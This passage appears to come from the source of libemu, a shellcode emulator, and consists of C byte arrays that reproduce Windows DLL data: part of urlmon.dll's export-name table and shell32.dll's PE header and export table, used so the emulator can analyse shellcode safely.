*/ "\x82\x26\x00\x00\x9A\x26\x00\x00\xB2\x26\x00\x00\xC5\x26\x00\x00" // ‚&..š&..²&..Å&.. /* 7DF22000 */ "\xD8\x26\x00\x00\xE5\x26\x00\x00\xFC\x26\x00\x00\x13\x27\x00\x00" // Ø&..å&..ü&..'.. /* 7DF22010 */ "\x26\x27\x00\x00\x39\x27\x00\x00\x48\x27\x00\x00\x57\x27\x00\x00" // &'..9'..H'..W'.. /* 7DF22020 */ "\x69\x27\x00\x00\x7F\x27\x00\x00\x95\x27\x00\x00\xA5\x27\x00\x00" // i'..'..•'..¥'.. /* 7DF22030 */ "\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\x00" // ........ /* 7DF22040 */ "\x09\x00\x0A\x00\x0B\x00\x0C\x00\x0D\x00\x0E\x00\x0F\x00\x10\x00" // .... ........ /* 7DF22050 */ "\x11\x00\x12\x00\x13\x00\x14\x00\x15\x00\x16\x00\x17\x00\x18\x00" // ........ /* 7DF22060 */ "\x19\x00\x1A\x00\x1B\x00\x1C\x00\x1D\x00\x1E\x00\x1F\x00\x20\x00" // ....... . /* 7DF22070 */ "\x21\x00\x22\x00\x23\x00\x24\x00\x25\x00\x26\x00\x27\x00\x28\x00" // !.".#.$.%.&.'.(. /* 7DF22080 */ "\x29\x00\x2A\x00\x2B\x00\x2C\x00\x2D\x00\x2E\x00\x2F\x00\x30\x00" // ).*.+.,.-.../.0. /* 7DF22090 */ "\x31\x00\x32\x00\x33\x00\x34\x00\x35\x00\x36\x00\x37\x00\x38\x00" // 1.2.3.4.5.6.7.8. /* 7DF220A0 */ "\x39\x00\x3A\x00\x3B\x00\x3C\x00\x3D\x00\x3E\x00\x3F\x00\x40\x00" // 9.:.;.<.=.>.?.@. /* 7DF220B0 */ "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00" // A.B.C.D.E.F.G.H. /* 7DF220C0 */ "\x49\x00\x4A\x00\x4B\x00\x4C\x00\x4D\x00\x4E\x00\x4F\x00\x50\x00" // I.J.K.L.M.N.O.P. /* 7DF220D0 */ "\x51\x00\x52\x00\x53\x00\x54\x00\x55\x00\x56\x00\x75\x72\x6C\x6D" // Q.R.S.T.U.V.urlm /* 7DF220E0 */ "\x6F\x6E\x2E\x64\x6C\x6C\x00\x41\x73\x79\x6E\x63\x47\x65\x74\x43" // on.dll.AsyncGetC /* 7DF220F0 */ "\x6C\x61\x73\x73\x42\x69\x74\x73\x00\x41\x73\x79\x6E\x63\x49\x6E" // lassBits.AsyncIn /* 7DF22100 */ "\x73\x74\x61\x6C\x6C\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6F" // stallDistributio /* 7DF22110 */ "\x6E\x55\x6E\x69\x74\x00\x42\x69\x6E\x64\x41\x73\x79\x6E\x63\x4D" // nUnit.BindAsyncM /* 7DF22120 */ "\x6F\x6E\x69\x6B\x65\x72\x00\x43\x44\x4C\x47\x65\x74\x4C\x6F\x6E" // oniker.CDLGetLon /* 7DF22130 */ "\x67\x50\x61\x74\x68\x4E\x61\x6D\x65\x41\x00\x43\x44\x4C\x47\x65" // gPathNameA.CDLGe /* 7DF22140 */ "\x74\x4C\x6F\x6E\x67\x50\x61\x74\x68\x4E\x61\x6D\x65\x57\x00\x43" // tLongPathNameW.C /* 7DF22150 */ "\x6F\x47\x65\x74\x43\x6C\x61\x73\x73\x4F\x62\x6A\x65\x63\x74\x46" // oGetClassObjectF /* 7DF22160 */ "\x72\x6F\x6D\x55\x52\x4C\x00\x43\x6F\x49\x6E\x73\x74\x61\x6C\x6C" // romURL.CoInstall /* 7DF22170 */ "\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6F\x6D\x62\x69" // .CoInternetCombi /* 7DF22180 */ "\x6E\x65\x55\x72\x6C\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E\x65\x74" // neUrl.CoInternet /* 7DF22190 */ "\x43\x6F\x6D\x70\x61\x72\x65\x55\x72\x6C\x00\x43\x6F\x49\x6E\x74" // CompareUrl.CoInt /* 7DF221A0 */ "\x65\x72\x6E\x65\x74\x43\x72\x65\x61\x74\x65\x53\x65\x63\x75\x72" // ernetCreateSecur /* 7DF221B0 */ "\x69\x74\x79\x4D\x61\x6E\x61\x67\x65\x72\x00\x43\x6F\x49\x6E\x74" // ityManager.CoInt /* 7DF221C0 */ "\x65\x72\x6E\x65\x74\x43\x72\x65\x61\x74\x65\x5A\x6F\x6E\x65\x4D" // ernetCreateZoneM /* 7DF221D0 */ "\x61\x6E\x61\x67\x65\x72\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E\x65" // anager.CoInterne /* 7DF221E0 */ "\x74\x46\x65\x61\x74\x75\x72\x65\x53\x65\x74\x74\x69\x6E\x67\x73" // tFeatureSettings /* 7DF221F0 */ "\x43\x68\x61\x6E\x67\x65\x64\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E" // Changed.CoIntern /* 7DF22200 */ "\x65\x74\x47\x65\x74\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x46\x6C\x61" // etGetProtocolFla /* 7DF22210 */ "\x67\x73\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E\x65\x74\x47\x65\x74" // gs.CoInternetGet /* 7DF22220 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x55\x72\x6C\x00\x43\x6F\x49\x6E" // SecurityUrl.CoIn /* 7DF22230 */ "\x74\x65\x72\x6E\x65\x74\x47\x65\x74\x53\x65\x73\x73\x69\x6F\x6E" // ternetGetSession /* 7DF22240 */ "\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E\x65\x74\x49\x73\x46\x65\x61" // .CoInternetIsFea /* 7DF22250 */ "\x74\x75\x72\x65\x45\x6E\x61\x62\x6C\x65\x64\x00\x43\x6F\x49\x6E" // tureEnabled.CoIn /* 7DF22260 */ "\x74\x65\x72\x6E\x65\x74\x49\x73\x46\x65\x61\x74\x75\x72\x65\x45" // ternetIsFeatureE /* 7DF22270 */ "\x6E\x61\x62\x6C\x65\x64\x46\x6F\x72\x55\x72\x6C\x00\x43\x6F\x49" // nabledForUrl.CoI /* 7DF22280 */ "\x6E\x74\x65\x72\x6E\x65\x74\x49\x73\x46\x65\x61\x74\x75\x72\x65" // nternetIsFeature /* 7DF22290 */ "\x5A\x6F\x6E\x65\x45\x6C\x65\x76\x61\x74\x69\x6F\x6E\x45\x6E\x61" // ZoneElevationEna /* 7DF222A0 */ "\x62\x6C\x65\x64\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E\x65\x74\x50" // bled.CoInternetP /* 7DF222B0 */ "\x61\x72\x73\x65\x55\x72\x6C\x00\x43\x6F\x49\x6E\x74\x65\x72\x6E" // arseUrl.CoIntern /* 7DF222C0 */ "\x65\x74\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x00\x43\x6F\x49\x6E" // etQueryInfo.CoIn /* 7DF222D0 */ "\x74\x65\x72\x6E\x65\x74\x53\x65\x74\x46\x65\x61\x74\x75\x72\x65" // ternetSetFeature /* 7DF222E0 */ "\x45\x6E\x61\x62\x6C\x65\x64\x00\x43\x6F\x6D\x70\x61\x72\x65\x53" // Enabled.CompareS /* 7DF222F0 */ "\x65\x63\x75\x72\x69\x74\x79\x49\x64\x73\x00\x43\x6F\x6D\x70\x61" // ecurityIds.Compa /* 7DF22300 */ "\x74\x46\x6C\x61\x67\x73\x46\x72\x6F\x6D\x43\x6C\x73\x69\x64\x00" // tFlagsFromClsid. /* 7DF22310 */ "\x43\x6F\x70\x79\x42\x69\x6E\x64\x49\x6E\x66\x6F\x00\x43\x6F\x70" // CopyBindInfo.Cop /* 7DF22320 */ "\x79\x53\x74\x67\x4D\x65\x64\x69\x75\x6D\x00\x43\x72\x65\x61\x74" // yStgMedium.Creat /* 7DF22330 */ "\x65\x41\x73\x79\x6E\x63\x42\x69\x6E\x64\x43\x74\x78\x00\x43\x72" // eAsyncBindCtx.Cr /* 7DF22340 */ "\x65\x61\x74\x65\x41\x73\x79\x6E\x63\x42\x69\x6E\x64\x43\x74\x78" // eateAsyncBindCtx /* 7DF22350 */ "\x45\x78\x00\x43\x72\x65\x61\x74\x65\x46\x6F\x72\x6D\x61\x74\x45" // Ex.CreateFormatE /* 7DF22360 */ "\x6E\x75\x6D\x65\x72\x61\x74\x6F\x72\x00\x43\x72\x65\x61\x74\x65" // numerator.Create /* 7DF22370 */ "\x55\x52\x4C\x4D\x6F\x6E\x69\x6B\x65\x72\x00\x43\x72\x65\x61\x74" // URLMoniker.Creat /* 7DF22380 */ "\x65\x55\x52\x4C\x4D\x6F\x6E\x69\x6B\x65\x72\x45\x78\x00\x44\x6C" // eURLMonikerEx.Dl /* 7DF22390 */ "\x6C\x43\x61\x6E\x55\x6E\x6C\x6F\x61\x64\x4E\x6F\x77\x00\x44\x6C" // lCanUnloadNow.Dl /* 7DF223A0 */ "\x6C\x47\x65\x74\x43\x6C\x61\x73\x73\x4F\x62\x6A\x65\x63\x74\x00" // lGetClassObject. /* 7DF223B0 */ "\x44\x6C\x6C\x49\x6E\x73\x74\x61\x6C\x6C\x00\x44\x6C\x6C\x52\x65" // DllInstall.DllRe /* 7DF223C0 */ "\x67\x69\x73\x74\x65\x72\x53\x65\x72\x76\x65\x72\x00\x44\x6C\x6C" // gisterServer.Dll /* 7DF223D0 */ "\x52\x65\x67\x69\x73\x74\x65\x72\x53\x65\x72\x76\x65\x72\x45\x78" // RegisterServerEx /* 7DF223E0 */ "\x00\x44\x6C\x6C\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x53\x65" // .DllUnregisterSe /* 7DF223F0 */ "\x72\x76\x65\x72\x00\x45\x78\x74\x72\x61\x63\x74\x00\x46\x61\x75" // rver.Extract.Fau /* 7DF22400 */ "\x6C\x74\x49\x6E\x49\x45\x46\x65\x61\x74\x75\x72\x65\x00\x46\x69" // ltInIEFeature.Fi /* 7DF22410 */ "\x6E\x64\x4D\x65\x64\x69\x61\x54\x79\x70\x65\x00\x46\x69\x6E\x64" // ndMediaType.Find /* 7DF22420 */ "\x4D\x65\x64\x69\x61\x54\x79\x70\x65\x43\x6C\x61\x73\x73\x00\x46" // MediaTypeClass.F /* 7DF22430 */ "\x69\x6E\x64\x4D\x69\x6D\x65\x46\x72\x6F\x6D\x44\x61\x74\x61\x00" // indMimeFromData. /* 7DF22440 */ "\x47\x65\x74\x43\x6C\x61\x73\x73\x46\x69\x6C\x65\x4F\x72\x4D\x69" // GetClassFileOrMi /* 7DF22450 */ "\x6D\x65\x00\x47\x65\x74\x43\x6C\x61\x73\x73\x55\x52\x4C\x00\x47" // me.GetClassURL.G /* 7DF22460 */ "\x65\x74\x43\x6F\x6D\x70\x6F\x6E\x65\x6E\x74\x49\x44\x46\x72\x6F" // etComponentIDFro /* 7DF22470 */ "\x6D\x43\x4C\x53\x53\x50\x45\x43\x00\x47\x65\x74\x4D\x61\x72\x6B" // mCLSSPEC.GetMark /* 7DF22480 */ "\x4F\x66\x54\x68\x65\x57\x65\x62\x00\x47\x65\x74\x53\x6F\x66\x74" // OfTheWeb.GetSoft /* 7DF22490 */ "\x77\x61\x72\x65\x55\x70\x64\x61\x74\x65\x49\x6E\x66\x6F\x00\x48" // wareUpdateInfo.H /* 7DF224A0 */ "\x6C\x69\x6E\x6B\x47\x6F\x42\x61\x63\x6B\x00\x48\x6C\x69\x6E\x6B" // linkGoBack.Hlink /* 7DF224B0 */ "\x47\x6F\x46\x6F\x72\x77\x61\x72\x64\x00\x48\x6C\x69\x6E\x6B\x4E" // GoForward.HlinkN /* 7DF224C0 */ "\x61\x76\x69\x67\x61\x74\x65\x4D\x6F\x6E\x69\x6B\x65\x72\x00\x48" // avigateMoniker.H /* 7DF224D0 */ "\x6C\x69\x6E\x6B\x4E\x61\x76\x69\x67\x61\x74\x65\x53\x74\x72\x69" // linkNavigateStri /* 7DF224E0 */ "\x6E\x67\x00\x48\x6C\x69\x6E\x6B\x53\x69\x6D\x70\x6C\x65\x4E\x61" // ng.HlinkSimpleNa /* 7DF224F0 */ "\x76\x69\x67\x61\x74\x65\x54\x6F\x4D\x6F\x6E\x69\x6B\x65\x72\x00" // vigateToMoniker. /* 7DF22500 */ "\x48\x6C\x69\x6E\x6B\x53\x69\x6D\x70\x6C\x65\x4E\x61\x76\x69\x67" // HlinkSimpleNavig /* 7DF22510 */ "\x61\x74\x65\x54\x6F\x53\x74\x72\x69\x6E\x67\x00\x49\x6E\x73\x74" // ateToString.Inst /* 7DF22520 */ "\x61\x6C\x6C\x46\x6C\x61\x73\x68\x00\x49\x73\x41\x73\x79\x6E\x63" // allFlash.IsAsync /* 7DF22530 */ "\x4D\x6F\x6E\x69\x6B\x65\x72\x00\x49\x73\x4A\x49\x54\x49\x6E\x50" // Moniker.IsJITInP /* 7DF22540 */ "\x72\x6F\x67\x72\x65\x73\x73\x00\x49\x73\x4C\x6F\x67\x67\x69\x6E" // rogress.IsLoggin /* 7DF22550 */ "\x67\x45\x6E\x61\x62\x6C\x65\x64\x41\x00\x49\x73\x4C\x6F\x67\x67" // gEnabledA.IsLogg /* 7DF22560 */ "\x69\x6E\x67\x45\x6E\x61\x62\x6C\x65\x64\x57\x00\x49\x73\x56\x61" // ingEnabledW.IsVa /* 7DF22570 */ "\x6C\x69\x64\x55\x52\x4C\x00\x4D\x6B\x50\x61\x72\x73\x65\x44\x69" // lidURL.MkParseDi /* 7DF22580 */ "\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65\x45\x78\x00\x4F\x62\x74\x61" // splayNameEx.Obta /* 7DF22590 */ "\x69\x6E\x55\x73\x65\x72\x41\x67\x65\x6E\x74\x53\x74\x72\x69\x6E" // inUserAgentStrin /* 7DF225A0 */ "\x67\x00\x50\x72\x69\x76\x61\x74\x65\x43\x6F\x49\x6E\x73\x74\x61" // g.PrivateCoInsta /* 7DF225B0 */ "\x6C\x6C\x00\x52\x65\x67\x69\x73\x74\x65\x72\x42\x69\x6E\x64\x53" // ll.RegisterBindS /* 7DF225C0 */ "\x74\x61\x74\x75\x73\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x52\x65" // tatusCallback.Re /* 7DF225D0 */ "\x67\x69\x73\x74\x65\x72\x46\x6F\x72\x6D\x61\x74\x45\x6E\x75\x6D" // gisterFormatEnum /* 7DF225E0 */ "\x65\x72\x61\x74\x6F\x72\x00\x52\x65\x67\x69\x73\x74\x65\x72\x4D" // erator.RegisterM /* 7DF225F0 */ "\x65\x64\x69\x61\x54\x79\x70\x65\x43\x6C\x61\x73\x73\x00\x52\x65" // ediaTypeClass.Re /* 7DF22600 */ "\x67\x69\x73\x74\x65\x72\x4D\x65\x64\x69\x61\x54\x79\x70\x65\x73" // gisterMediaTypes /* 7DF22610 */ "\x00\x52\x65\x6C\x65\x61\x73\x65\x42\x69\x6E\x64\x49\x6E\x66\x6F" // .ReleaseBindInfo /* 7DF22620 */ "\x00\x52\x65\x76\x6F\x6B\x65\x42\x69\x6E\x64\x53\x74\x61\x74\x75" // .RevokeBindStatu /* 7DF22630 */ "\x73\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x52\x65\x76\x6F\x6B\x65" // sCallback.Revoke /* 7DF22640 */ "\x46\x6F\x72\x6D\x61\x74\x45\x6E\x75\x6D\x65\x72\x61\x74\x6F\x72" // FormatEnumerator /* 7DF22650 */ "\x00\x53\x65\x74\x53\x6F\x66\x74\x77\x61\x72\x65\x55\x70\x64\x61" // .SetSoftwareUpda /* 7DF22660 */ "\x74\x65\x41\x64\x76\x65\x72\x74\x69\x73\x65\x6D\x65\x6E\x74\x53" // teAdvertisementS /* 7DF22670 */ "\x74\x61\x74\x65\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64" // tate.URLDownload /* 7DF22680 */ "\x41\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F\x43" // A.URLDownloadToC /* 7DF22690 */ "\x61\x63\x68\x65\x46\x69\x6C\x65\x41\x00\x55\x52\x4C\x44\x6F\x77" // acheFileA.URLDow /* 7DF226A0 */ "\x6E\x6C\x6F\x61\x64\x54\x6F\x43\x61\x63\x68\x65\x46\x69\x6C\x65" // nloadToCacheFile /* 7DF226B0 */ "\x57\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F\x46" // W.URLDownloadToF /* 7DF226C0 */ "\x69\x6C\x65\x41\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64" // ileA.URLDownload /* 7DF226D0 */ "\x54\x6F\x46\x69\x6C\x65\x57\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C" // ToFileW.URLDownl /* 7DF226E0 */ "\x6F\x61\x64\x57\x00\x55\x52\x4C\x4F\x70\x65\x6E\x42\x6C\x6F\x63" // oadW.URLOpenBloc /* 7DF226F0 */ "\x6B\x69\x6E\x67\x53\x74\x72\x65\x61\x6D\x41\x00\x55\x52\x4C\x4F" // kingStreamA.URLO /* 7DF22700 */ "\x70\x65\x6E\x42\x6C\x6F\x63\x6B\x69\x6E\x67\x53\x74\x72\x65\x61" // penBlockingStrea /* 7DF22710 */ "\x6D\x57\x00\x55\x52\x4C\x4F\x70\x65\x6E\x50\x75\x6C\x6C\x53\x74" // mW.URLOpenPullSt /* 7DF22720 */ "\x72\x65\x61\x6D\x41\x00\x55\x52\x4C\x4F\x70\x65\x6E\x50\x75\x6C" // reamA.URLOpenPul /* 7DF22730 */ "\x6C\x53\x74\x72\x65\x61\x6D\x57\x00\x55\x52\x4C\x4F\x70\x65\x6E" // lStreamW.URLOpen /* 7DF22740 */ "\x53\x74\x72\x65\x61\x6D\x41\x00\x55\x52\x4C\x4F\x70\x65\x6E\x53" // StreamA.URLOpenS /* 7DF22750 */ "\x74\x72\x65\x61\x6D\x57\x00\x55\x72\x6C\x4D\x6B\x42\x75\x69\x6C" // treamW.UrlMkBuil /* 7DF22760 */ "\x64\x56\x65\x72\x73\x69\x6F\x6E\x00\x55\x72\x6C\x4D\x6B\x47\x65" // dVersion.UrlMkGe /* 7DF22770 */ "\x74\x53\x65\x73\x73\x69\x6F\x6E\x4F\x70\x74\x69\x6F\x6E\x00\x55" // tSessionOption.U /* 7DF22780 */ "\x72\x6C\x4D\x6B\x53\x65\x74\x53\x65\x73\x73\x69\x6F\x6E\x4F\x70" // rlMkSetSessionOp /* 7DF22790 */ "\x74\x69\x6F\x6E\x00\x57\x72\x69\x74\x65\x48\x69\x74\x4C\x6F\x67" // tion.WriteHitLog /* 7DF227A0 */ "\x67\x69\x6E\x67\x00\x5A\x6F\x6E\x65\x73\x52\x65\x49\x6E\x69\x74" // ging.ZonesReInit /* 7DF227B0 */ "\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // . /* 7DF227C0 */ "\x8B\xFF\x55\x8B\xEC\x56\x57\x6A\x00\xBE\x05\x40\x00\x80\xE8\xFD" // ‹ÿU‹ìVWj.¾@.€èý /* 7DF227D0 */ "\xF0\xFF\xFF\x8B\x7D\x08\x85\xFF\x0F\x8C\xDD\x19\x00\x00\x83\xFF" // ðÿÿ‹}…ÿŒÝ..ƒÿ /* 7DF227E0 */ "\x13\x0F\x83\xD4\x19\x00\x00\x8B\x45\x0C\x48\x0F\x84\xA6\x19\x00" // ƒÔ..‹E.H„¦. /* 7DF227F0 */ "\x00\x48\x0F\x85\x3C\xC0\x01\x00\x33\xC0\x39\x04\xBD\x78\x31\xF9" // .H…<À.3À9½x1ù /* 7DF22800 */ "\x7D\x0F\x94\xC0\x8B\xF0\x85\xF6\x0F\x8C\xAD\x19\x00\x00\x5F\x8B"; // }”À‹ð…öŒ­.._‹ libemu-0.2.0+git20120122+564/src/environment/win32/dlls/shell32dll.c0000644000175300017530000022053211706767213023216 0ustar dt-npbdt-npbconst char shell32_7C9C0000[]= /* pe header and section table -dzzie*/ /* 7C9C0000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 7C9C0020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 7C9C0040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7C9C0060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x00\x00" //............à... /* 7C9C0080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 7C9C00A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 7C9C00C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 7C9C00E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 7C9C0100 */ "\x8A\xC0\x21\x33\xCE\xA1\x4F\x60\xCE\xA1\x4F\x60\xCE\xA1\x4F\x60" //.À!3Î.O`Î.O`Î.O` /* 7C9C0120 */ "\xCE\xA1\x4E\x60\x5F\xA4\x4F\x60\x0D\xAE\x12\x60\xDF\xA1\x4F\x60" //Î.N`_.O`...`ß.O` /* 7C9C0140 */ "\x0D\xAE\x40\x60\xC7\xA1\x4F\x60\x0D\xAE\x2F\x60\xF5\xA0\x4F\x60" //..@`Ç.O`../`õ.O` /* 7C9C0160 */ "\x0D\xAE\x13\x60\xCF\xA1\x4F\x60\x0D\xAE\x11\x60\xCF\xA1\x4F\x60" //...`Ï.O`...`Ï.O` /* 7C9C0180 */ "\x0D\xAE\x10\x60\xB1\xA1\x4F\x60\x0D\xAE\x15\x60\xCF\xA1\x4F\x60" //...`..O`...`Ï.O` /* 7C9C01A0 */ "\x52\x69\x63\x68\xCE\xA1\x4F\x60\x00\x00\x00\x00\x00\x00\x00\x00" //RichÎ.O`........ /* 7C9C01C0 */ "\x50\x45\x00\x00\x4C\x01\x04\x00\x0A\x7D\x4E\x4C\x5B\x4C\x6F\x72" //PE..L....}NL[Lor /* 7C9C01E0 */ "\x64\x50\x45\x5D\xE0\x00\x0E\x21\x0B\x01\x07\x0A\x00\xDE\x1F\x00" //dPE]à..!.....Þ.. /* 7C9C0200 */ "\x00\x5E\x61\x00\x00\x00\x00\x00\xD6\x74\x02\x00\x00\x10\x00\x00" //.^a.....Öt...... /* 7C9C0220 */ "\x00\x80\x1F\x00\x00\x00\x9C\x7C\x00\x10\x00\x00\x00\x10\x00\x00" //.......|........ /* 7C9C0240 */ "\x05\x00\x01\x00\x05\x00\x01\x00\x04\x00\x0A\x00\x00\x00\x00\x00" //................ /* 7C9C0260 */ "\x00\x70\x81\x00\x00\x10\x00\x00\xDA\x3A\x81\x00\x02\x00\x00\x00" //.p......Ú:...... /* 7C9C0280 */ "\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00" //................ /* 7C9C02A0 */ "\x00\x00\x00\x00\x10\x00\x00\x00\x50\x7D\x02\x00\x18\x29\x00\x00" //........P}...).. /* 7C9C02C0 */ "\x6C\x99\x1F\x00\xB4\x00\x00\x00\x00\xC0\x21\x00\xA0\xF4\x5D\x00" //l........À!..ô]. /* 7C9C02E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7C9C0300 */ "\x00\xC0\x7F\x00\xFC\xA4\x01\x00\x80\xEC\x1F\x00\x38\x00\x00\x00" //.À..ü....ì..8... /* 7C9C0320 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7C9C0340 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x88\x25\x0A\x00\x40\x00\x00\x00" //.........%..@... /* 7C9C0360 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x7C\x11\x00\x00" //............|... /* 7C9C0380 */ "\xD0\x7B\x1F\x00\x40\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //Ð{..@........... /* 7C9C03A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x00\x00\x00" //.........text... /* 7C9C03C0 */ "\xE0\xDC\x1F\x00\x00\x10\x00\x00\xE0\xDC\x1F\x00\x00\x10\x00\x00" //àÜ......àÜ...... /* 7C9C03E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60" //...............` /* 7C9C0400 */ "\x2E\x64\x61\x74\x61\x00\x00\x00\xB0\xC1\x01\x00\x00\xF0\x1F\x00" //.data....Á...ð.. /* 7C9C0420 */ "\xB0\xC1\x01\x00\x00\xF0\x1F\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.Á...ð.......... /* 7C9C0440 */ "\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00" //....@..À.rsrc... /* 7C9C0460 */ "\xA0\xF4\x5D\x00\x00\xC0\x21\x00\xA0\xF4\x5D\x00\x00\xC0\x21\x00" //.ô]..À!..ô]..À!. /* 7C9C0480 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40" //............@..@ /* 7C9C04A0 */ "\x2E\x72\x65\x6C\x6F\x63\x00\x00\xFC\xA4\x01\x00\x00\xC0\x7F\x00" //.reloc..ü....À.. /* 7C9C04C0 */ "\xFC\xA4\x01\x00\x00\xC0\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00" //ü....À.......... /* 7C9C04E0 */ "\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00" //....@..B........ /* 7C9C0500 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7C9C0520 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; const char shell32_7c9e7d50[]= /* export table */ /* 7C9E7D50 */ "\x00\x00\x00\x00\x39\x75\x4E\x4C\x00\x00\x00\x00\x82\x90\x02\x00" //....9uNL........ /* 7C9E7D70 */ "\x02\x00\x00\x00\xF3\x02\x00\x00\x35\x01\x00\x00\x78\x7D\x02\x00" //....ó...5...x}.. /* 7C9E7D90 */ "\x44\x89\x02\x00\x18\x8E\x02\x00\x0B\xEB\x03\x00\x4E\x4E\x0F\x00" //D........ë..NN.. /* 7C9E7DB0 */ "\xCA\x49\x03\x00\x0D\x89\x13\x00\xB1\x56\x04\x00\xCF\x94\x11\x00" //ÊI.......V..Ï... /* 7C9E7DD0 */ "\xBF\x94\x11\x00\x45\x40\x0C\x00\xC8\x32\x0C\x00\x47\x3B\x0C\x00" //....E@..È2..G;.. /* 7C9E7DF0 */ "\x8B\x1C\x11\x00\xAC\x2B\x0C\x00\x25\x1C\x11\x00\x6C\x7A\x0F\x00" //.....+..%...lz.. /* 7C9E7E10 */ "\x2C\xCE\x02\x00\x67\xC6\x02\x00\xA5\xB2\x02\x00\x14\xB5\x02\x00" //,Î..gÆ.......... /* 7C9E7E30 */ "\x9E\x79\x0F\x00\xEB\x11\x03\x00\xAF\xEB\x0E\x00\x08\x14\x03\x00" //.y..ë....ë...... /* 7C9E7E50 */ "\xC8\x14\x03\x00\xC5\xB5\x02\x00\x7F\xD3\x04\x00\x84\xF4\x06\x00" //È...Å....Ó...ô.. /* 7C9E7E70 */ "\xF0\xE5\x02\x00\x20\x4F\x0B\x00\xF5\xA5\x02\x00\x7F\x4E\x0B\x00" //ðå...O..õ....N.. /* 7C9E7E90 */ "\xED\x4E\x0B\x00\xA1\x4E\x0B\x00\xFE\x4E\x0B\x00\xC3\x4E\x0B\x00" //íN...N..þN..ÃN.. /* 7C9E7EB0 */ "\xF4\x4F\x0B\x00\x0C\xA6\x02\x00\x0F\x4F\x0B\x00\x21\xA6\x02\x00" //ôO.......O..!... /* 7C9E7ED0 */ "\x34\xA6\x02\x00\x9A\x51\x0B\x00\x51\x78\x03\x00\x5E\x75\x03\x00" //4....Q..Qx..^u.. /* 7C9E7EF0 */ "\x01\xE1\x0C\x00\xC1\x4F\x0B\x00\x7D\x4F\x0B\x00\xCC\x55\x0B\x00" //.á..ÁO..}O..ÌU.. /* 7C9E7F10 */ "\x4A\x4F\x0B\x00\xE4\x51\x0B\x00\xB2\x4E\x0B\x00\xB2\x94\x04\x00" //JO..äQ...N...... /* 7C9E7F30 */ "\x4C\x4E\x0B\x00\xE4\x84\x0B\x00\x25\x8D\x0B\x00\x6C\x4F\x0B\x00" //LN..ä...%...lO.. /* 7C9E7F50 */ "\x5B\x4F\x0B\x00\x4C\xA6\x02\x00\xE8\x0B\x0D\x00\x55\x8D\x0B\x00" //[O..L...è...U... /* 7C9E7F70 */ "\x73\x8D\x0B\x00\x5E\x02\x08\x00\x67\x64\x0B\x00\x1B\x75\x0F\x00" //s...^...gd...u.. /* 7C9E7F90 */ "\xAA\x0E\x03\x00\x29\x4F\x07\x00\x18\x06\x03\x00\x04\xF2\x03\x00" //....)O.......ò.. /* 7C9E7FB0 */ "\x60\xC8\x02\x00\xEA\x19\x11\x00\x0F\x26\x0B\x00\x8E\x3B\x03\x00" //`È..ê....&...;.. /* 7C9E7FD0 */ "\x68\x3E\x03\x00\x28\xAD\x10\x00\xCA\x6E\x0A\x00\xE1\x08\x07\x00" 